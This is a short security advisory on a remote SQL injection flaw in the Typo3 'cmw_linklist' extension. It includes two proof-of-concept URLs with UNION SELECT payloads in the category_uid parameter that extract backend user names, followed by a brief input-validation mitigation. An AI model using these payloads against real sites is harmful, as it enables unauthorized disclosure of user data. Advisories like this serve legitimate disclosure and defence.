Typo3 ‘cmw_linklist’ Extension Remote SQL Injection Vulnerability

Typo3 'cmw_linklist' extension is affected by a remote SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in a SQL query. Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. Gulftech Security Research has supplied the following additional proof of concepts: A test for vulnerability: http://www.example.com/[path]/?&action=getviewcategory&category_uid=-99%20UNION%20SELECT%20username%20FROM%20be_users%20WHERE%20uid=1/* Lists user names and categories: http://www.example.com/[path]/?&action=getviewcategory&category_uid=-99%20UNION%20SELECT%20username,null%20FROM%20be_users%20WHERE%201/*

Mitigation:

Input validation should be used to ensure that user-supplied data is properly sanitized before being used in SQL queries.
